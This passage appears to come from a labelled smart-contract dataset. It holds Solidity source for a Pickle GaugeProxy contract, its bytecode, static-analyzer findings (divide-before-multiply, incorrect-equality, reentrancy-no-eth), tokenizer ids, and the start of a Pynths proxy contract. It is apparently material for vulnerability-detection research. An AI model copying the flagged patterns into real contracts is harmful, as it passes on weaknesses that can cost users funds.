indexed owner, address indexed spender, uint amount); constructor() public { balances[msg.sender] = 1e18; emit Transfer(address(0x0), msg.sender, 1e18); } /** * @notice Get the number of tokens `spender` is approved to spend on behalf of `account` * @param account The address of the account holding the funds * @param spender The address of the account spending the funds * @return The number of tokens approved */ function allowance(address account, address spender) external view returns (uint) { return allowances[account][spender]; } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (2^256-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint amount) external returns (bool) { allowances[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } /** * @notice Get the number of tokens held by the `account` * @param account The address of the account to get the balance of * @return The number of tokens held */ function balanceOf(address account) external view returns (uint) { return balances[account]; } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint amount) external returns (bool) { _transferTokens(msg.sender, dst, amount); return true; } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint amount) external returns (bool) { address spender = msg.sender; uint spenderAllowance = allowances[src][spender]; if (spender != src && spenderAllowance != uint(-1)) { uint newAllowance = spenderAllowance.sub(amount, "transferFrom: exceeds spender allowance"); allowances[src][spender] = newAllowance; emit Approval(src, spender, newAllowance); } _transferTokens(src, dst, amount); return true; } function _transferTokens(address src, address dst, uint amount) internal { require(src != address(0), "_transferTokens: zero address"); require(dst != address(0), "_transferTokens: zero address"); balances[src] = balances[src].sub(amount, "_transferTokens: exceeds balance"); balances[dst] = balances[dst].add(amount, "_transferTokens: overflows"); emit Transfer(src, dst, amount); } } contract GaugeProxy is ProtocolGovernance { using SafeMath for uint256; using SafeERC20 for IERC20; MasterChef public constant MASTER = MasterChef(0xbD17B1ce622d73bD438b9E658acA5996dc394b0d); IERC20 public constant DILL = IERC20(0xbBCf169eE191A1Ba7371F30A1C344bFC498b29Cf); IERC20 public constant PICKLE = IERC20(0x429881672B9AE42b8EbA0E26cD9C73711b891Ca5); IERC20 public immutable TOKEN; uint public pid; uint public totalWeight; address[] internal _tokens; mapping(address => address) public gauges; // token => gauge mapping(address => uint) public weights; // token => weight mapping(address => mapping(address => uint)) public votes; // msg.sender => votes mapping(address => address[]) public tokenVote;// msg.sender => token mapping(address => uint) public usedWeights; // msg.sender => total voting weight of user function tokens() external view returns (address[] memory) { return _tokens; } function getGauge(address _token) external view returns (address) { return gauges[_token]; } constructor() public { TOKEN = IERC20(address(new MasterDill())); governance = msg.sender; } // Reset votes to 0 function reset() external { _reset(msg.sender); } // Reset votes to 0 function _reset(address _owner) internal { address[] storage _tokenVote = tokenVote[_owner]; uint256 _tokenVoteCnt = _tokenVote.length; for (uint i = 0; i < _tokenVoteCnt; i ++) { address _token = _tokenVote[i]; uint _votes = votes[_owner][_token]; if (_votes > 0) { totalWeight = totalWeight.sub(_votes); weights[_token] = weights[_token].sub(_votes); votes[_owner][_token] = 0; } } delete tokenVote[_owner]; } // Adjusts _owner's votes according to latest _owner's DILL balance function poke(address _owner) public { address[] memory _tokenVote = tokenVote[_owner]; uint256 _tokenCnt = _tokenVote.length; uint256[] memory _weights = new uint[](_tokenCnt); uint256 _prevUsedWeight = usedWeights[_owner]; uint256 _weight = DILL.balanceOf(_owner); for (uint256 i = 0; i < _tokenCnt; i ++) { uint256 _prevWeight = votes[_owner][_tokenVote[i]]; _weights[i] = _prevWeight.mul(_weight).div(_prevUsedWeight); } _vote(_owner, _tokenVote, _weights); } function _vote(address _owner, address[] memory _tokenVote, uint256[] memory _weights) internal { // _weights[i] = percentage * 100 _reset(_owner); uint256 _tokenCnt = _tokenVote.length; uint256 _weight = DILL.balanceOf(_owner); uint256 _totalVoteWeight = 0; uint256 _usedWeight = 0; for (uint256 i = 0; i < _tokenCnt; i ++) { _totalVoteWeight = _totalVoteWeight.add(_weights[i]); } for (uint256 i = 0; i < _tokenCnt; i ++) { address _token = _tokenVote[i]; address _gauge = gauges[_token]; uint256 _tokenWeight = _weights[i].mul(_weight).div(_totalVoteWeight); if (_gauge != address(0x0)) { _usedWeight = _usedWeight.add(_tokenWeight); totalWeight = totalWeight.add(_tokenWeight); weights[_token] = weights[_token].add(_tokenWeight); tokenVote[_owner].push(_token); votes[_owner][_token] = _tokenWeight; } } usedWeights[_owner] = _usedWeight; } // Vote with DILL on a gauge function vote(address[] calldata _tokenVote, uint256[] calldata _weights) external { require(_tokenVote.length == _weights.length); _vote(msg.sender, _tokenVote, _weights); } // Add new token gauge function addGauge(address _token) external { require(msg.sender == governance, "!gov"); require(gauges[_token] == address(0x0), "exists"); gauges[_token] = address(new Gauge(_token)); _tokens.push(_token); } // Sets MasterChef PID function setPID(uint _pid) external { require(msg.sender == governance, "!gov"); require(pid == 0, "pid has already been set"); require(_pid > 0, "invalid pid"); pid = _pid; } // Deposits mDILL into MasterChef function deposit() public { require(pid > 0, "pid not initialized"); IERC20 _token = TOKEN; uint _balance = _token.balanceOf(address(this)); _token.safeApprove(address(MASTER), 0); _token.safeApprove(address(MASTER), _balance); MASTER.deposit(pid, _balance); } // Fetches Pickle function collect() public { (uint _locked,) = MASTER.userInfo(pid, address(this)); MASTER.withdraw(pid, _locked); deposit(); } function length() external view returns (uint) { return _tokens.length; } function distribute() external { collect(); uint _balance = PICKLE.balanceOf(address(this)); if (_balance > 0 && totalWeight > 0) { for (uint i = 0; i < _tokens.length; i++) { address _token = _tokens[i]; address _gauge = gauges[_token]; uint _reward = _balance.mul(weights[_token]).div(totalWeight); if (_reward > 0) { PICKLE.safeApprove(_gauge, 0); PICKLE.safeApprove(_gauge, _reward); Gauge(_gauge).notifyRewardAmount(_reward); } } } } }
0x608060405234801561001057600080fd5b50600436106101d95760003560e01c806380faa57d11610104578063c8f33c91116100a2578063de5f626811610071578063de5f626814610780578063df136d651461078a578063e9fad8ee146107a8578063ebe2b12b146107b2576101d9565b8063c8f33c91146106ce578063cd3daf9d146106ec578063d35e25441461070a578063d7da4bb014610762576101d9565b80638b876347116100de5780638b876347146105ba57806396c5517514610612578063b6b55f2514610656578063c19048b214610684576101d9565b806380faa57d1461054857806382bfefc814610566578063853828b6146105b0576101d9565b806336efd16f1161017c57806363fb415b1161014b57806363fb415b1461043057806370a08231146104885780637b0a47ee146104e05780637c91e4eb146104fe576101d9565b806336efd16f146103605780633c6b16ab146103ae5780633d18b912146103dc5780634eb1fbeb146103e6576101d9565b80631be05289116101b85780631be05289146102ac5780631c1f78eb146102ca5780632d2c5565146102e85780632e1a7d4d14610332576101d9565b80628cc262146101de5780630700037d1461023657806318160ddd1461028e575b600080fd5b610220600480360360208110156101f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506107d0565b6040518082815260200191505060405180910390f35b6102786004803603602081101561024c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108ee565b6040518082815260200191505060405180910390f35b610296610906565b6040518082815260200191505060405180910390f35b6102b4610910565b6040518082815260200191505060405180910390f35b6102d2610917565b6040518082815260200191505060405180910390f35b6102f0610936565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61035e6004803603602081101561034857600080fd5b810190808035906020019092919050505061094e565b005b6103ac6004803603604081101561037657600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061095a565b005b6103da600480360360208110156103c457600080fd5b8101908080359060200190929190505050610968565b005b6103e4610dd9565b005b6103ee6110a8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104726004803603602081101561044657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110c0565b6040518082815260200191505060405180910390f35b6104ca6004803603602081101561049e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110d8565b6040518082815260200191505060405180910390f35b6104e8611121565b6040518082815260200191505060405180910390f35b610506611127565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61055061114b565b6040518082815260200191505060405180910390f35b61056e61115e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105b8611182565b005b6105fc600480360360208110156105d057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111cc565b6040518082815260200191505060405180910390f35b6106546004803603602081101561062857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111e4565b005b6106826004803603602081101561066c57600080fd5b81019080803590602001909291905050506112b1565b005b61068c6112be565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106d66112d6565b6040518082815260200191505060405180910390f35b6106f46112dc565b6040518082815260200191505060405180910390f35b61074c6004803603602081101561072057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061136a565b6040518082815260200191505060405180910390f35b61076a6115b0565b6040518082815260200191505060405180910390f35b6107886115b6565b005b610792611699565b6040518082815260200191505060405180910390f35b6107b061169f565b005b6107ba6116f1565b6040518082815260200191505060405180910390f35b60006108e7600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546108d9670de0b6b3a76400006108cb61087d600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461086f6112dc565b6116f790919063ffffffff16565b600a60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461174190919063ffffffff16565b6117e490919063ffffffff16565b61182e90919063ffffffff16565b9050919050565b60066020528060005260406000206000915090505481565b6000600754905090565b62093a8081565b600061093162093a8060025461174190919063ffffffff16565b905090565b73066419eaef5de53cc5da0d8702b990c5bc7d1ab381565b610957816118b6565b50565b6109648282611c24565b5050565b7f0000000000000000000000002e57627acf6c1812f99e274d0ac61b786c19e74f73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a0c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180612570602a913960400191505060405180910390fd5b6000610a166112dc565b600481905550610a2461114b565b600381905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610af157610a67816107d0565b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600454600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610b527f0000000000000000000000002e57627acf6c1812f99e274d0ac61b786c19e74f308473429881672b9ae42b8eba0e26cd9c73711b891ca573ffffffffffffffffffffffffffffffffffffffff16611f95909392919063ffffffff16565b6001544210610b7c57610b7162093a80836117e490919063ffffffff16565b600281905550610bdf565b6000610b93426001546116f790919063ffffffff16565b90506000610bac6002548361174190919063ffffffff16565b9050610bd662093a80610bc8838761182e90919063ffffffff16565b6117e490919063ffffffff16565b60028190555050505b600073429881672b9ae42b8eba0e26cd9c73711b891ca573ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610c7257600080fd5b505afa158015610c86573d6000803e3d6000fd5b505050506040513d6020811015610c9c57600080fd5b81019080805190602001909291905050509050610cc562093a80826117e490919063ffffffff16565b6002541115610d3c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f50726f76696465642072657761726420746f6f2068696768000000000000000081525060200191505060405180910390fd5b42600381905550610d5962093a804261182e90919063ffffffff16565b6001819055507fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d836040518082815260200191505060405180910390a150600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610dd557610dd4816111e4565b5b5050565b60026000541415610e52576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b600260008190555033610e636112dc565b600481905550610e7161114b565b600381905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610f3e57610eb4816107d0565b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600454600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081111561105e576000600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061100f338273429881672b9ae42b8eba0e26cd9c73711b891ca573ffffffffffffffffffffffffffffffffffffffff166120829092919063ffffffff16565b3373ffffffffffffffffffffffffffffffffffffffff167fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486826040518082815260200191505060405180910390a25b50600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461109d5761109c816111e4565b5b506001600081905550565b73bbcf169ee191a1ba7371f30a1c344bfc498b29cf81565b600a6020528060005260406000206000915090505481565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60025481565b7f0000000000000000000000002e57627acf6c1812f99e274d0ac61b786c19e74f81565b60006111594260015461213a565b905090565b7f0000000000000000000000006f4a700a620b03ac0590f3cd2143a80c96a4973b81565b6111ca600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b6565b565b60056020528060005260406000206000915090505481565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061123d816008546116f790919063ffffffff16565b60088190555061124c8261136a565b905080600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112a78160085461182e90919063ffffffff16565b6008819055505050565b6112bb8133611c24565b50565b73429881672b9ae42b8eba0e26cd9c73711b891ca581565b60035481565b60008060075414156112f2576004549050611367565b611364611353600854611345670de0b6b3a764000061133760025461132960035461131b61114b565b6116f790919063ffffffff16565b61174190919063ffffffff16565b61174190919063ffffffff16565b6117e490919063ffffffff16565b60045461182e90919063ffffffff16565b90505b90565b600080600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060006113d860646113ca60288561174190919063ffffffff16565b6117e490919063ffffffff16565b90506000611588606461157a603c61156c73bbcf169ee191a1ba7371f30a1c344bfc498b29cf73ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561144357600080fd5b505afa158015611457573d6000803e3d6000fd5b505050506040513d602081101561146d57600080fd5b810190808051906020019092919050505061155e73bbcf169ee191a1ba7371f30a1c344bfc498b29cf73ffffffffffffffffffffffffffffffffffffffff166370a082318d6040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561151257600080fd5b505afa158015611526573d6000803e3d6000fd5b505050506040513d602081101561153c57600080fd5b810190808051906020019092919050505060075461174190919063ffffffff16565b6117e490919063ffffffff16565b61174190919063ffffffff16565b6117e490919063ffffffff16565b90506115a66115a0828461182e90919063ffffffff16565b8461213a565b9350505050919050565b60085481565b6116977f0000000000000000000000006f4a700a620b03ac0590f3cd2143a80c96a4973b73ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561165657600080fd5b505afa15801561166a573d6000803e3d6000fd5b505050506040513d602081101561168057600080fd5b810190808051906020019092919050505033611c24565b565b60045481565b6116e7600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118b6565b6116ef610dd9565b565b60015481565b600061173983836040518060400160405280600681526020017f7375623a202d0000000000000000000000000000000000000000000000000000815250612153565b905092915050565b60008083141561175457600090506117de565b600082840290508284828161176557fe5b04146117d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f6d756c3a202a000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b809150505b92915050565b600061182683836040518060400160405280600681526020017f6469763a202f0000000000000000000000000000000000000000000000000000815250612213565b905092915050565b6000808284019050838110156118ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f6164643a202b000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b8091505092915050565b6002600054141561192f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b6002600081905550336119406112dc565b60048190555061194e61114b565b600381905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611a1b57611991816107d0565b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600454600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60008211611a91576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f43616e6e6f74207769746864726177203000000000000000000000000000000081525060200191505060405180910390fd5b611aa6826007546116f790919063ffffffff16565b600781905550611afe82600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116f790919063ffffffff16565b600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b8c33837f0000000000000000000000006f4a700a620b03ac0590f3cd2143a80c96a4973b73ffffffffffffffffffffffffffffffffffffffff166120829092919063ffffffff16565b3373ffffffffffffffffffffffffffffffffffffffff167f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611c1857611c17816111e4565b5b50600160008190555050565b60026000541415611c9d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5265656e7472616e637947756172643a207265656e7472616e742063616c6c0081525060200191505060405180910390fd5b600260008190555080611cae6112dc565b600481905550611cbc61114b565b600381905550600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611d8957611cff816107d0565b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600454600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60008311611dff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f43616e6e6f74207374616b65203000000000000000000000000000000000000081525060200191505060405180910390fd5b611e148360075461182e90919063ffffffff16565b600781905550611e6c83600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461182e90919063ffffffff16565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d846040518082815260200191505060405180910390a2611f4a8230857f0000000000000000000000006f4a700a620b03ac0590f3cd2143a80c96a4973b73ffffffffffffffffffffffffffffffffffffffff16611f95909392919063ffffffff16565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611f8857611f87816111e4565b5b5060016000819055505050565b61207c846323b872dd60e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506122d9565b50505050565b6121358363a9059cbb60e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506122d9565b505050565b6000818310612149578161214b565b825b905092915050565b6000838311158290612200576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156121c55780820151818401526020810190506121aa565b50505050905090810190601f1680156121f25780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080831182906122bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612284578082015181840152602081019050612269565b50505050905090810190601f1680156122b15780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385816122cb57fe5b049050809150509392505050565b6122f88273ffffffffffffffffffffffffffffffffffffffff16612524565b61236a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e74726163740081525060200191505060405180910390fd5b600060608373ffffffffffffffffffffffffffffffffffffffff16836040518082805190602001908083835b602083106123b95780518252602082019150602081019050602083039250612396565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461241b576040519150601f19603f3d011682016040523d82523d6000602084013e612420565b606091505b509150915081612498576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656481525060200191505060405180910390fd5b60008151111561251e578080602001905160208110156124b757600080fd5b810190808051906020019092919050505061251d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a81526020018061259a602a913960400191505060405180910390fd5b5b50505050565b60008060007fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b9050833f91506000801b82141580156125665750808214155b9250505091905056fe43616c6c6572206973206e6f742052657761726473446973747269627574696f6e20636f6e74726163745361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a264697066735822122048b1b0bae75d61a2f1ad82d823da216b61664185b66f318e405af7a35087aba564736f6c63430006070033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 10322, 16086, 2575, 2063, 22394, 19317, 16068, 2094, 2692, 2683, 16048, 2692, 29292, 10354, 2063, 2581, 11387, 2546, 2620, 22932, 2581, 2575, 2094, 2692, 2575, 16932, 2629, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 16798, 2475, 1011, 6021, 1011, 2324, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1021, 1025, 1013, 1013, 1034, 1014, 1012, 1021, 1012, 1019, 1025, 3075, 3647, 18900, 2232, 1063, 3853, 5587, 1006, 21318, 3372, 1037, 1010, 21318, 3372, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 1007, 1063, 21318, 3372, 1039, 1027, 1037, 1009, 1038, 1025, 5478, 1006, 1039, 1028, 1027, 1037, 1010, 1000, 5587, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,805
0x95bc99186B61168d093E1295d2221944813389D6
/* * Pynths : Perifi.sol * * * Contract Dependencies: * - BasePynthetix * - ExternStateToken * - IAddressResolver * - IERC20 * - IPynthetix * - ISupplySchedule * - MixinResolver * - Owned * - Proxyable * - State * Libraries: * - Math * - SafeDecimalMath * - SafeMath * * MIT License * =========== * * Copyright (c) 2021 Pynths * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity >=0.4.24; // https://docs.pynthetix.io/contracts/source/interfaces/ierc20 interface IERC20 { // ERC20 Optional Views function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); // Views function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); // Mutative functions function transfer(address to, uint value) external returns (bool); function approve(address spender, uint value) external returns (bool); function transferFrom( address from, address to, uint value ) external returns (bool); // Events event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } // https://docs.pynthetix.io/contracts/source/contracts/owned contract Owned { address public owner; address public nominatedOwner; constructor(address _owner) public { require(_owner != address(0), "Owner address cannot be 0"); owner = _owner; emit OwnerChanged(address(0), _owner); } function nominateNewOwner(address _owner) external onlyOwner { nominatedOwner = _owner; emit OwnerNominated(_owner); } function acceptOwnership() external { require(msg.sender == nominatedOwner, "You must be nominated before you can accept ownership"); emit OwnerChanged(owner, nominatedOwner); owner = nominatedOwner; nominatedOwner = address(0); } modifier onlyOwner { _onlyOwner(); _; } function _onlyOwner() private view { require(msg.sender == owner, "Only the contract owner may perform this action"); } event OwnerNominated(address newOwner); event OwnerChanged(address oldOwner, address newOwner); } // Inheritance // Internal references // https://docs.pynthetix.io/contracts/source/contracts/proxy contract Proxy is Owned { Proxyable public target; constructor(address _owner) public Owned(_owner) {} function setTarget(Proxyable _target) external onlyOwner { target = _target; emit TargetUpdated(_target); } function _emit( bytes calldata callData, uint numTopics, bytes32 topic1, bytes32 topic2, bytes32 topic3, bytes32 topic4 ) external onlyTarget { uint size = callData.length; bytes memory _callData = callData; assembly { /* The first 32 bytes of callData contain its length (as specified by the abi). * Length is assumed to be a uint256 and therefore maximum of 32 bytes * in length. It is also leftpadded to be a multiple of 32 bytes. * This means moving call_data across 32 bytes guarantees we correctly access * the data itself. */ switch numTopics case 0 { log0(add(_callData, 32), size) } case 1 { log1(add(_callData, 32), size, topic1) } case 2 { log2(add(_callData, 32), size, topic1, topic2) } case 3 { log3(add(_callData, 32), size, topic1, topic2, topic3) } case 4 { log4(add(_callData, 32), size, topic1, topic2, topic3, topic4) } } } // solhint-disable no-complex-fallback function() external payable { // Mutable call setting Proxyable.messageSender as this is using call not delegatecall target.setMessageSender(msg.sender); assembly { let free_ptr := mload(0x40) calldatacopy(free_ptr, 0, calldatasize) /* We must explicitly forward ether to the underlying contract as well. */ let result := call(gas, sload(target_slot), callvalue, free_ptr, calldatasize, 0, 0) returndatacopy(free_ptr, 0, returndatasize) if iszero(result) { revert(free_ptr, returndatasize) } return(free_ptr, returndatasize) } } modifier onlyTarget { require(Proxyable(msg.sender) == target, "Must be proxy target"); _; } event TargetUpdated(Proxyable newTarget); } // 